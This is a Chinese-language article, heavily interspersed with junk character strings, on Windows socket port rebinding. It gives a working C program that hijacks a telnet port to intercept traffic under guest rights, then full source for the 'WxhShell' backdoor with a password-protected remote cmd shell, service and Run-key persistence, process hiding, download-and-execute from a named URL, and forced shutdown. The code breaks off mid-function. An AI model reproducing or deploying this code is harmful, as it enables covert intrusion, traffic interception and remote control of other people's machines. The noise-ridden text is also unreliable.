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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ,'iE;o{Tu s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); OaZQ7BGq t!\tF[9e saddr.sin_family = AF_INET; Z87|Zl D#/Bx[ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
EUgs6[w 4 <1COZ) bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); vFK<J Sk! ^w06<m 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 .eP.& gOOPe5+ J 这意味着什么?意味着可以进行如下的攻击: ,<p}o\6 ~BkCp pI 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ;{o|9x| M[112%[+4 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ")HFYqP>9 -8rjgB~."/ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ApXy=?fc &q|K!5[k 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 D+7Rz_= mcX/GO} 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 =+?7''{> 3gj+%%!G\ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 VgC2+APg ^B2
-) 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 [bNx^VP* Zdo'{ $
#include B i<Q=x'Z; #include {LQ#y/H? #include }:*]aL<7_ #include ,tJ"
5O3- DWORD WINAPI ClientThread(LPVOID lpParam); ?vHU# int main() B\:%ufd
~ { rkY[E(SY WORD wVersionRequested; R=
o2K DWORD ret; bl(RyAgA WSADATA wsaData; 1!T1Y,w BOOL val; f\>M'{cV SOCKADDR_IN saddr; 6ez<g
Uf SOCKADDR_IN scaddr; kO*$"w#X[p int err; I[##2 SOCKET s; g5QZ0Qkj SOCKET sc; r7,t";?> int caddsize; *6F[t.Or HANDLE mt; Gvqxi| DWORD tid; q,eVjtF wVersionRequested = MAKEWORD( 2, 2 ); BC<^a )D= err = WSAStartup( wVersionRequested, &wsaData ); t#pS{.I if ( err != 0 ) { oVe|Mss6 printf("error!WSAStartup failed!\n"); mh[75( return -1; sCb=5uI } Jrpx}2'9:a saddr.sin_family = AF_INET; &,CiM0 C"T;Qp~B //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 hP)LY=-2 0C6-GKbZ saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); .KUv(- saddr.sin_port = htons(23); #c?j\Y9nz if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) thM4vq { Uu(SR/R} printf("error!socket failed!\n"); | Aw%zw1@ return -1; l6 H|PR{ } W_8wed:b val = TRUE; ;^%4Q" //SO_REUSEADDR选项就是可以实现端口重绑定的 MgrLSKLT if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) usCt#eZK { H>B&|BO_[ printf("error!setsockopt failed!\n"); AKyUfAj3 return -1; K[r^'P5m } m?fy^>1
//如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; jQ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 =4PV;>X //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 dCk3;XU g8xQ|px if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 8UyMVY { (ECnMti+ ret=GetLastError(); iQ
fJ printf("error!bind failed!\n"); )ZqTwEr@[ return -1; SY^t} A7:/ } Xudg2t)+K listen(s,2); z>Hgkp8D" while(1) &6YIn|} { u TK,& caddsize = sizeof(scaddr); /1Q(b //接受连接请求 ,\ k(x>oy sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ,5,!es@`b if(sc!=INVALID_SOCKET) s1NKLt { _Khc3Jo mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); }w<7.I if(mt==NULL) ytoo~n { JB`\G=PiL printf("Thread Creat Failed!\n"); dEA6 break; x+x40!+\ } ie\"$i.98H } uv(Sdiir8 CloseHandle(mt); -}=%/|\FG } vbBc}G"w closesocket(s); _m'Fr
7 WSACleanup(); 5>j)kx=J9 return 0; "a"]o } muZ~*kMc DWORD WINAPI ClientThread(LPVOID lpParam) 5sJJGv#6 { O0No'LVu SOCKET ss = (SOCKET)lpParam; pxf$1 SOCKET sc; U,q\emR unsigned char buf[4096]; 0_"fJ~Y^J SOCKADDR_IN saddr; ;@Z#b8aM} long num; ^8Q62 DWORD val; OJzs Q DWORD ret; )'%$V%9 //如果是隐藏端口应用的话,可以在此处加一些判断 ur@Z|5 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 rKf-+6Na saddr.sin_family = AF_INET; c|62jY"$-2 saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 7`8Ik`lY saddr.sin_port = htons(23); \z7SkZt,GT if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ICkp$u^ { tAte)/0C printf("error!socket failed!\n"); Pgus42f% return -1; q**G(}K } OYmR<x5y/ val = 100; j;3[KLmuK% if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) +g]yA3 { -'BA{#e}L ret = GetLastError(); GF%314Xu return -1; ,gOOiB
} } D{4YxR
PX if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) x,S
P'fcP { GJp85B!PlO ret = GetLastError(); Za8#$`zq return -1; mAW,?h } hq/k*; if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) hk;7:G { eT8} printf("error!socket connect failed!\n"); "=za??\K} closesocket(sc); >Ll$p0W closesocket(ss); | j a- return -1; cEd+MCN } &F5@6nJ` while(1) 'X!?vK^]p { njnDW~Snb //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 f'{]"^e= //如果是嗅探内容的话,可以再此处进行内容分析和记录 {Gw.l." //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ${nX:!) num = recv(ss,buf,4096,0); {TRsd if(num>0) ?zJOh^ send(sc,buf,num,0); "0k8IVwp else if(num==0) g{9+O7q break; v\"S
Gc num = recv(sc,buf,4096,0); [mr9(m[F if(num>0)
ld7v3:M send(ss,buf,num,0); pOkLb
# else if(num==0) ]a3iEA2 ( break; STw#lU) %( } ?EK?b
s closesocket(ss); &0 BdUU+:< closesocket(sc); "y<?Q}1 return 0 ; JHJ~X v } hy T1xa |xvy')(b b(I2m ========================================================== 3#45m+D @M8|(N% 下边附上一个代码,,WXhSHELL Z0>DNmH* A?T<",bO ========================================================== z|(+|pV( 5+jf/}tA #include "stdafx.h" .+([ (x$9~;<S*d #include <stdio.h> o!r8{L #include <string.h> M}wXJ8aF? #include <windows.h> =?(~aV #include <winsock2.h> :aIN9; #include <winsvc.h> aRJ>6Q} #include <urlmon.h> ' 2-oh P0-Fc@&Y #pragma comment (lib, "Ws2_32.lib") *I?Eb-!t #pragma comment (lib, "urlmon.lib") O!Z|r? %,*G[#*& #define MAX_USER 100 // 最大客户端连接数 @i3bgx>_o #define BUF_SOCK 200 // sock buffer yRYWch #define KEY_BUFF 255 // 输入 buffer {A o,t+j /)rkiwp #define REBOOT 0 // 重启 B,(Heg #define SHUTDOWN 1 // 关机 y9|K|xO[ M}hrO-C #define DEF_PORT 5000 // 监听端口 !"TZ:"VZU 8Z2.`(3c[ #define REG_LEN 16 // 注册表键长度 do
^RF<G #define SVC_LEN 80 // NT服务名长度 TjBY
4 ag4`n:1 // 从dll定义API 2`=6 %s
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 4E:bp typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); +tN&a typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); te4= S
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); i
NWC6y H_IGFZ Ch // wxhshell配置信息 ]> Y/r-! struct WSCFG { s/1 #DM" int ws_port; // 监听端口 k,Zm GllQ] char ws_passstr[REG_LEN]; // 口令 *V;3~x! int ws_autoins; // 安装标记, 1=yes 0=no 7>
Pgc char ws_regname[REG_LEN]; // 注册表键名 :'r6TVDW char ws_svcname[REG_LEN]; // 服务名 y/@iT8$rp char ws_svcdisp[SVC_LEN]; // 服务显示名 Gr(|Ra. char ws_svcdesc[SVC_LEN]; // 服务描述信息 7nHTlI1b char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [Id}4[={e int ws_downexe; // 下载执行标记, 1=yes 0=no xkA2g[ char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" Jll-X\O`- char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \`xkp[C
c~dM`2J, }; 9''p[V.3 B">yKB:D}t // default Wxhshell configuration X^@[G8v% struct WSCFG wscfg={DEF_PORT, Z# Lx_*p]Q "xuhuanlingzhe", hQgN9S5P 1, <2P7utdZ "Wxhshell", $~'Tf>e "Wxhshell", O(OmGu4% "WxhShell Service", I/UQ' xx "Wrsky Windows CmdShell Service", I*1S/o_xI "Please Input Your Password: ", CM~MoV[k7e 1, X$wehMBX " http://www.wrsky.com/wxhshell.exe", a]VGUW- "Wxhshell.exe" ]RFdLV? }; -rDz~M+ [l[{6ZXt // 消息定义模块 9[|4[3K char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; hr U :Wr char *msg_ws_prompt="\n\r? for help\n\r#>"; *PM}"s char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; ~/`X*n& char *msg_ws_ext="\n\rExit."; \OHv|8!EI@ char *msg_ws_end="\n\rQuit."; ,sb1"^Wc char *msg_ws_boot="\n\rReboot..."; Rk<%r k char *msg_ws_poff="\n\rShutdown..."; {~GR8
U char *msg_ws_down="\n\rSave to "; i@$-0%, MtG_9- char *msg_ws_err="\n\rErr!"; '>^Xqn char *msg_ws_ok="\n\rOK!"; xVR:;
Jy[ !O\X+#j char ExeFile[MAX_PATH]; w6EI{ int nUser = 0; pVOI5>f\ HANDLE handles[MAX_USER]; /Antb6E int OsIsNt; Z! YpklZ?~ (G5xkygR9 SERVICE_STATUS serviceStatus; IH3FK!>6 SERVICE_STATUS_HANDLE hServiceStatusHandle; s -Y +x g[!Cj, // 函数声明 YkbO&~. int Install(void); /`R dQ<($ int Uninstall(void); Bz]J=g7 int DownloadFile(char *sURL, SOCKET wsh); xzK>Xi? int Boot(int flag); %vc'{`P void HideProc(void); bhKV +oN int GetOsVer(void); .S|-4}G(6 int Wxhshell(SOCKET wsl); d[U1.SNL void TalkWithClient(void *cs); WTu{,Q int CmdShell(SOCKET sock); WOH9%xv int StartFromService(void); |!5@xs*T int StartWxhshell(LPSTR lpCmdLine); n^6TP'r :bw6 k VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Th+|*=Il VOID WINAPI NTServiceHandler( DWORD fdwControl ); kv%)K'fU4 <`mOU}0) // 数据结构和表定义 .jum "va% SERVICE_TABLE_ENTRY DispatchTable[] = Y\>\[*.v { #wD7 \X-f {wscfg.ws_svcname, NTServiceMain}, P6E1^$e {NULL, NULL} U$EM.ot }; g _x\T+= TA9dkYlE/ // 自我安装 .9I_NG int Install(void) f<=^ 4a { q @*UUj@ char svExeFile[MAX_PATH]; Hc
/wta HKEY key; I~'gK8<e7 strcpy(svExeFile,ExeFile); >";%2u1 sx90lsu // 如果是win9x系统,修改注册表设为自启动 ;<VR2U` if(!OsIsNt) { 5EfY9}dl if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,@,LD u RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); g`
kZT} h RegCloseKey(key); Z
c<]^QR if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Bx%=EN5. RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9$EHK RegCloseKey(key); ,FS?"Ni return 0; o[2Y;kP3*P } wz)m{:b< } NB3/A"}"02 } 0 c,bet{m else { f!^)!~ *+&z|Pwv[^ // 如果是NT以上系统,安装为系统服务 @#1cx SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ;,FT&|3o if (schSCManager!=0) _4~k3%w\`l { Mf#2.TR SC_HANDLE schService = CreateService "{mt? ( - =yTAx schSCManager, V~JBZ}`TG< wscfg.ws_svcname, `$f\ % wscfg.ws_svcdisp, ^CO#QnB @ SERVICE_ALL_ACCESS, "C?:T'dW SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , iczs8gj* SERVICE_AUTO_START, Ml8E50t>; SERVICE_ERROR_NORMAL, W6hNJb svExeFile, 6_pDe NULL, Z<w,UvJa NULL, Mi_[9ku>% NULL, nz}]C04:- NULL, q`h7H][(A NULL u2f `|+1^y ); IQo]9Lx if (schService!=0) zkuv\kY/ Z { `6dy
U_f CloseServiceHandle(schService); aS3P(s L CloseServiceHandle(schSCManager); ks)fQFSbu strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); /IrKpmbq strcat(svExeFile,wscfg.ws_svcname); ;|2Uf if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { N+ak[axN RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); f|;HS!$ RegCloseKey(key); Rv0-vH.n return 0; E
`?S!*jm } %?U"[F1 } 8/Lu'rI CloseServiceHandle(schSCManager); n5/ZJur } l!xgtP K } V6A5(-%`y `[w}hFl~q return 1; 1uK)1%vK } clij|?O [N'r3 // 自我卸载 =M Q2sb int Uninstall(void) _Y}^%eFw { 1c1e+H HKEY key; Y}eZPG.h .D>A'r8U if(!OsIsNt) { KFCQYdI`d if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _N[^Hl`\ RegDeleteValue(key,wscfg.ws_regname); .&aVx] RegCloseKey(key);
^XjvJa if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { NZC<m$') RegDeleteValue(key,wscfg.ws_regname); LR
8e|H0 RegCloseKey(key); Vs2 v j return 0; >KH(nc$ } ?h>(&HjWV } q[T_*X3o } rd f85%%7 else { |V*e2w *J*zml3 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); arpJiG~JR if (schSCManager!=0) IJL^dXCu { Qe'PAN=B SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); \!?
PhNv if (schService!=0) 7~Xu71^3s { +4p2KYO if(DeleteService(schService)!=0) { )^QG-IM CloseServiceHandle(schService); P17]}F`` CloseServiceHandle(schSCManager); m-&a~l return 0; Z=1,<ydKV } \Ho#[k=y*/ CloseServiceHandle(schService); <3J=;.\6 } -h.3M0 CloseServiceHandle(schSCManager); )aO!cQ{s } n^I|}u\ } Tk2&{S " PhI{3B/ return 1; =r@ie>*U } 's%ct}y\J o 2$<>1^ // 从指定url下载文件 1dXO3hot int DownloadFile(char *sURL, SOCKET wsh) \t7zMp { 'ra_Zg[j HRESULT hr; aNh1e^j char seps[]= "/"; u]++&~i char *token; Qr xO
erp char *file; xf3/<x!B char myURL[MAX_PATH]; 55)ep char myFILE[MAX_PATH]; !{|yAt9kP vb4G_X0S strcpy(myURL,sURL); gP"Mu#/D token=strtok(myURL,seps); M KE[Yb? while(token!=NULL) ;Ef)7GE@\[ { c_j)8 file=token; w{UKoU token=strtok(NULL,seps); 62KW
HB9S } S@rsQ@PA G5Dji_ | GetCurrentDirectory(MAX_PATH,myFILE); }F9?*2\/ strcat(myFILE, "\\"); ~(L<uFU V strcat(myFILE, file); ^SelqX send(wsh,myFILE,strlen(myFILE),0); .LVOaxT send(wsh,"...",3,0); 7H@Cy}a hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); " kJWWR if(hr==S_OK) %nK15( return 0; s(DaPhL6Qm else E`LIENm return 1; 41_sSqq;^ ^IegR> } '}[L sU {b8 Y- // 系统电源模块 $1`t+0^k int Boot(int flag) >w2WyYJYH { XdXS^QA.s HANDLE hToken; .J!
$,O@ TOKEN_PRIVILEGES tkp; jjlCi<9CQ^ GA@Q:n8UuR if(OsIsNt) { /[|md0, OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); V,%5
hl'& LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); pHbguoH, tkp.PrivilegeCount = 1; o\Vt $ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; rcb/X`l= AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); F1]PYx$X if(flag==REBOOT) { fP4IOlHkE if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ^)K[1]"uM return 0; %b'VEd7 } ?;kc%Rz else { Gb)iB if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) LR?#H)$ return 0; {xx;zjt%}} } u+T, n } [~%;E[ky$ else { I&@@v\$* if(flag==REBOOT) { PX{~! j%n if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) &wC.?w$ return 0; +mF 2yh } {Ao^3vB else { +4vX+;: br if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 'F<e )D? return 0; Cjb p- }
x a,LV } t|XC4:/>T DY27' `n6 return 1; |?Uc:VFF } 2xxwQwg8 !a&F:Fbm // win9x进程隐藏模块 q\=[v void HideProc(void) +f~3FXM { 3W
WxpTU @WE$%dr HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); /JYi^rZ if ( hKernel != NULL ) /{}
]Hu { U}h
|Zk pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); _!Q\Xn ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Bd[}A9O[ FreeLibrary(hKernel); tHo/uW_~I } ?5M2DLh~ ! (tJZ5 return; N%i<DsK.u6 } 4s2ex{$+MA q/zdd3a // 获取操作系统版本 f%l#g ]] int GetOsVer(void) =ZL20<TeH { M57(,#g OSVERSIONINFO winfo; #&gy@!a~ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); /!3:K<6@ GetVersionEx(&winfo); 7K4%`O
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) [K QZHIe return 1; _P+|tW1 else 0:S)2"I58p return 0; ,5WDYk- } 4 ETVyK|
351'l7F\ // 客户端句柄模块 2%H(a) int Wxhshell(SOCKET wsl) q>Y[.c- { Fb-TCq1y# SOCKET wsh; 6<6_W# struct sockaddr_in client; 6Z=H>w DWORD myID; ,B!Qv3bn Wn5]2D\vkT while(nUser<MAX_USER) K.I r+SB { e2F7G>q:5 int nSize=sizeof(client); &GAx*.L wsh=accept(wsl,(struct sockaddr *)&client,&nSize); |+''d if(wsh==INVALID_SOCKET) return 1; :r=_\? 'z:p8"h} handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); X'<xw if(handles[nUser]==0) ]y
e closesocket(wsh); `$HO`d@0*R else p
IToy;] nUser++; `}l%Am } %{"STbO #> WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 6iC:l%|u V}?5=f' return 0;
lNw?}H } n66_#X w8Yff[o // 关闭 socket 2)YLs5>W% void CloseIt(SOCKET wsh) NGu]|p { L`v,:#Y closesocket(wsh); Heu@{t.[!D nUser--; mUxD.;P ExitThread(0); :C5N(x } Yaqim<j ikC;N5Sw // 客户端请求句柄 $9/r*@bu8d void TalkWithClient(void *cs)
'(}BfD P { c-F&4V {H74`-C)W SOCKET wsh=(SOCKET)cs; ]M/w];: char pwd[SVC_LEN]; *0@e_h char cmd[KEY_BUFF]; w# ['{GL char chr[1]; P%c<0y"O:> int i,j; ]3G2mY;`"%
<_~`)t while (nUser < MAX_USER) { dj#<,e\ $si2H8 if(wscfg.ws_passstr) { Jx]`!dP3 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); UT -=5 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +?8nY.~,' //ZeroMemory(pwd,KEY_BUFF); UZ$p wjC i=0; uB
BE!w_ while(i<SVC_LEN) { WG,{:|!E PuWF:'w r // 设置超时 #oaX<, fd_set FdRead; c!c!;( struct timeval TimeOut; Xs`/q}R FD_ZERO(&FdRead); 4s~o
FD_SET(wsh,&FdRead); ;rX4${h TimeOut.tv_sec=8; Lqt] TimeOut.tv_usec=0; R[b?kT-% int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); {,m!%FDL if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Z`D#L[z$ `k+k&t if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8r5j~Df pwd =chr[0]; Lt)t}0 if(chr[0]==0xd || chr[0]==0xa) { $ _zdjzT pwd=0; +ad 2 break; lp6GiF } I$YF55uB i++; z;-2xD0&U[ } ^;'3(m= ^vzNs>eJ // 如果是非法用户,关闭 socket o_cj-
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); VGSe<6Hh } OHB!ec6W {YkW5zC(L send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); R
+k\)_F send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); E0YXgQa KjLj while(1) { SkY|.w. :Z<-J` ZeroMemory(cmd,KEY_BUFF); Vry# TOQvZ?_ // 自动支持客户端 telnet标准 +s`n]1HC j=0; # H4dmnV while(j<KEY_BUFF) { @r#> -p if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 46*?hA7@r( cmd[j]=chr[0]; VBOq~>V6(v if(chr[0]==0xa || chr[0]==0xd) {
djk cmd[j]=0; KNV$9&Z break; hNQ,U{`;^ } X/?3ifP6I j++; rXA7<_V g } u+hzCCwtR ifuVV Fov // 下载文件 67d0JQTu if(strstr(cmd,"http://")) { ^Xh9:OBF send(wsh,msg_ws_down,strlen(msg_ws_down),0); 2Ddrxc>48 if(DownloadFile(cmd,wsh)) $L?stgU send(wsh,msg_ws_err,strlen(msg_ws_err),0); KnlVZn[3t else ~dC^| send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .t\5H<z } % nJ'r?+h else { fuQ?@F y>|7'M*+ switch(cmd[0]) { V]IS(U( N1_nBQF ) // 帮助 HZR~r:_
i case '?': { e KET8v[ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); f ^z7K break; Uc\\..Cf } I( pU_7mw // 安装 lepgmQ|oY case 'i': { V+_L9 if(Install()) koe&7\ _@ send(wsh,msg_ws_err,strlen(msg_ws_err),0); JIDE]f else ,_p_p^Ar\4 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H=EvT'g break; wOINcEdx } 6:J @ // 卸载 tFXG4+$D case 'r': { 5WY..60K, if(Uninstall()) 8\/E/o3 send(wsh,msg_ws_err,strlen(msg_ws_err),0); (Zx;GS else Ry tQNwv3 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); + ,0RrD ) break; TAIcp*)ZM } IKH#[jW'IB // 显示 wxhshell 所在路径 %.[t(F case 'p': { d2Bn`VI char svExeFile[MAX_PATH]; ,@8>=rT strcpy(svExeFile,"\n\r"); ZI-)' strcat(svExeFile,ExeFile); I"y=A7Nq send(wsh,svExeFile,strlen(svExeFile),0); -(@dMY break; UII R$,XB } bo`w(h_ // 重启 kL{2az3"c case 'b': {
&CG3_s<2 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); iE0A-;:5 if(Boot(REBOOT)) ?&j[Rj0pH send(wsh,msg_ws_err,strlen(msg_ws_err),0); 52,p CyU else { xLP yV&j- closesocket(wsh); !zVuO*+ ExitThread(0); dt<PZ. } IX,/ZOZ| break; /)e&4.6 } T1LtO O // 关机 [89#8|+ case 'd': { 1)X%n)2pr send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); z
~T[%RjO if(Boot(SHUTDOWN)) Jr==AfxyT send(wsh,msg_ws_err,strlen(msg_ws_err),0); p3 qlVE else { |JtdCP{ closesocket(wsh); oOnk,U ExitThread(0); cL7je } AM#VRRTU break; _A;jtS)SY } FDkRfh K // 获取shell |.0/~Xy- case 's': { 7AX<>^ CmdShell(wsh); ck){N?y closesocket(wsh); 50F6jj ExitThread(0); r=~yUT break; ]3BTL7r } cO.U*UTmX // 退出 I QS| case 'x': { &&\ h%-Jc send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); s=!
y% CloseIt(wsh); ;$wS<zp6 break; N4}j,{# } 4/&Us // 离开 s7A{<>: case 'q': { ,2qJXMg"=$ send(wsh,msg_ws_end,strlen(msg_ws_end),0); T2P0(rEz closesocket(wsh); ka0T|$ u(s WSACleanup(); 0m(/hK exit(1); ),(ejRP'r break; :z_D?UQ } tx;MH5s/V } v7&e,:r2E@ } tV<}!~0,* Jx9S@L` // 提示信息 M`*B/Fh2 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m\(4y Gj } &^Zo}F2V } 8p,q9Ey zW,m3~XX: return; ^o+2:G5z} } 7L|w~l7R~ `C%,Nj // shell模块句柄 ^0_ *AwIcN int CmdShell(SOCKET sock) 'S@% { &PI}o STARTUPINFO si; {+r
pMUs# ZeroMemory(&si,sizeof(si)); j#S>8:
G si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; V@&zn8? si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 7h?PVobe PROCESS_INFORMATION ProcessInfo; d/!sHr69 char cmdline[]="cmd"; FY)v rM*yh CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); JR|yg=E return 0; [X ]\^
} aR6?+`6< VI,z7
\ // 自身启动模式 O+%Y1=S[WQ int StartFromService(void) m3C&QdjRp { JP)/
O! typedef struct mq`N&ABO!K { @+h2R DWORD ExitStatus; r5%K2q{ DWORD PebBaseAddress; 9:4PJ%R9 DWORD AffinityMask; IzF7W?k DWORD BasePriority; s
